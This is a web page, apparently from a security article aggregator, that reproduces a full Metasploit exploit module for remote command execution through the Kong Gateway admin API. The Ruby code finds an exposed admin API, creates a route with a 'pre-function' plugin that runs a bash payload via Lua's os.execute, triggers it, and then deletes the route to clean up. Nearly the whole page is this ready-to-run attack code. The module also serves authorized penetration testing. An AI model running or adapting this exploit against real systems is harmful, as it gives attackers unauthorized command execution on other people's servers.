HackDig : Dig high-quality web security articles for hackers

Kong Gateway Admin API Remote Code Execution

2020-11-25 21:57
# frozen_string_literal: true### This module requires Metasploit: https://metasploit.com/download# Current source: https://github.com/rapid7/metasploit-framework##class MetasploitModule < Msf::Exploit::Remote  Rank = ExcellentRanking  include Msf::Exploit::Remote::HttpClient  def initialize(info = {})    super(update_info(      info,      'Name' => 'Kong Gateway Admin API Remote Code Execution',      'Description' => '        This module uses the Kong admin API to create a route and a serverless function plugin that is associated with        the route. The plugin runs Lua code and is used to run a system command using os.execute(). After execution the        route is deleted, which also deletes the plugin.',      'License' => MSF_LICENSE,      'Author' => ['Graeme Robinson'],      'References' =>      [        ['URL', 'https://konghq.com/'],        ['URL', 'https://github.com/Kong/kong'],        ['URL', 'https://docs.konghq.com/hub/kong-inc/serverless-functions/']      ],      'Platform' => %w[linux macos],      'Arch' => [ARCH_X86, ARCH_X64],      'Targets' =>      [[        'Unix (In-Memory)',        'Platform' => 'unix',        'Arch' => ARCH_CMD,        'Type' => :unix_memory      ]],      'Privileged' => false,      'DisclosureDate' => 'Oct 13 2020',      'DefaultOptions' => { 'RPORT' => 8001 },      'Notes' => {        'Stability' => [CRASH_SAFE],        'Reliability' => [REPEATABLE_SESSION],        'SideEffects' => [IOC_IN_LOGS, CONFIG_CHANGES]      }    ))    register_options(      [        OptString.new('PUBLIC-API-RHOST', [false, 'The host where the public API is available, if different to RHOST']),        OptInt.new('PUBLIC-API-RPORT', [true, 'The port where the public API is available', 8000]),        OptString.new('TARGETURI', [true, 'URI to the Kong server', '/'])      ],      self.class    )  end  def check_response(response, expected, path, description)    fail_with(Failure::Unreachable, "No response received from #{path} when #{description}") unless response    return if response.code == expected    fail_with(Failure::UnexpectedReply,              "Unexpected response from #{path} when #{description} (received #{response.code}, expected #{expected})")  end  def create_route    path = normalize_uri(target_uri.path, 'routes')    response = send_request_cgi({ 'method' => 'POST', 'uri' => path,                                  'vars_post' => { 'name' => @rand_name, 'paths' => '/' + @rand_name } })    check_response(response, 201, path, 'creating route')  end  def create_plugin    # The double square brackets helps to ensure single/double quotes in cmd payload do not interfere with syntax of    # os.execute Lua function. The ampersand backgrounds the command so that it doesn't cause Kong to hang.    cmd = %{os.execute([[bash -c "#{payload.encoded}" &]])}    path = normalize_uri(target_uri.path, 'routes', @rand_name, 'plugins')    response = send_request_cgi({ 'method' => 'POST', 'uri' => path,                                  'vars_post' => { 'name' => 'pre-function', 'config.access' => cmd } })    check_response(response, 201, path, 'creating plugin')  end  def request_route    path = normalize_uri(target_uri.path, @rand_name)    rhost = datastore['PUBLIC-API-RHOST'] if datastore['PUBLIC-API-RHOST']    rport = datastore['PUBLIC-API-RPORT'] if datastore['PUBLIC-API-RPORT']    retry_count = 0    begin      response = send_request_cgi({ 'uri' => path, 'rhost' => rhost, 'rport' => rport })      check_response(response, 503, path, 'requesting route')    rescue Msf::Exploit::Failed      maximum_retries = 3      if retry_count <= maximum_retries        retry_count += 1        print_status("Route not yet available, trying again - attempt #{retry_count}/#{maximum_retries}")        sleep(retry_count**2)        retry      end      raise    end  end  def delete_route    path = normalize_uri(target_uri.path, 'routes', @rand_name)    # Delete it    response = send_request_cgi({ 'method' => 'DELETE', 'uri' => path })    check_response(response, 204, path, 'deleting route')    # Check Whether it deleted    response = send_request_cgi({ 'uri' => path })    check_response(response, 404, path, 'verifying that route has been deleted')  end  def check    @route_cleanup_required = false    # Check admin API    response = send_request_cgi    return CheckCode::Unknown unless response    return CheckCode::Safe unless response.get_json_document['tagline'] == 'Welcome to kong'    # Check public API    rhost = datastore['PUBLIC-API-RHOST'] if datastore['PUBLIC-API-RHOST']    rport = datastore['PUBLIC-API-RPORT'] if datastore['PUBLIC-API-RPORT']    path = normalize_uri(target_uri.path, @rand_name)    response = send_request_cgi({ 'rport' => rport, 'rhost' => rhost, 'uri' => path })    return CheckCode::Unknown unless response    return CheckCode::Safe unless response.get_json_document['message'] == 'no Route matched with those values'    CheckCode::Appears  end  def exploit    @rand_name = rand_text_alphanumeric(10)    @route_cleanup_required = false    fail_with(Failure::UnexpectedReply, 'Admin API not detected') unless check == CheckCode::Appears    @route_cleanup_required = true    create_route    vprint_good("Created route #{@rand_name}")    create_plugin    vprint_good("Created plugin for route #{@rand_name}")    request_route    vprint_good("Requested route #{@rand_name} using public API")  end  def cleanup    return unless @route_cleanup_required    delete_route    vprint_good("Deleted route #{@rand_name}")  endend


Source: 5020110202-BLW/eussi/moc.ytirucesxc

Read:268 | Comments:0 | Tags:No Tag

“Kong Gateway Admin API Remote Code Execution”0 Comments

Submit A Comment

Name:

Email:

Blog :

Verification Code:

Tools

Tag Cloud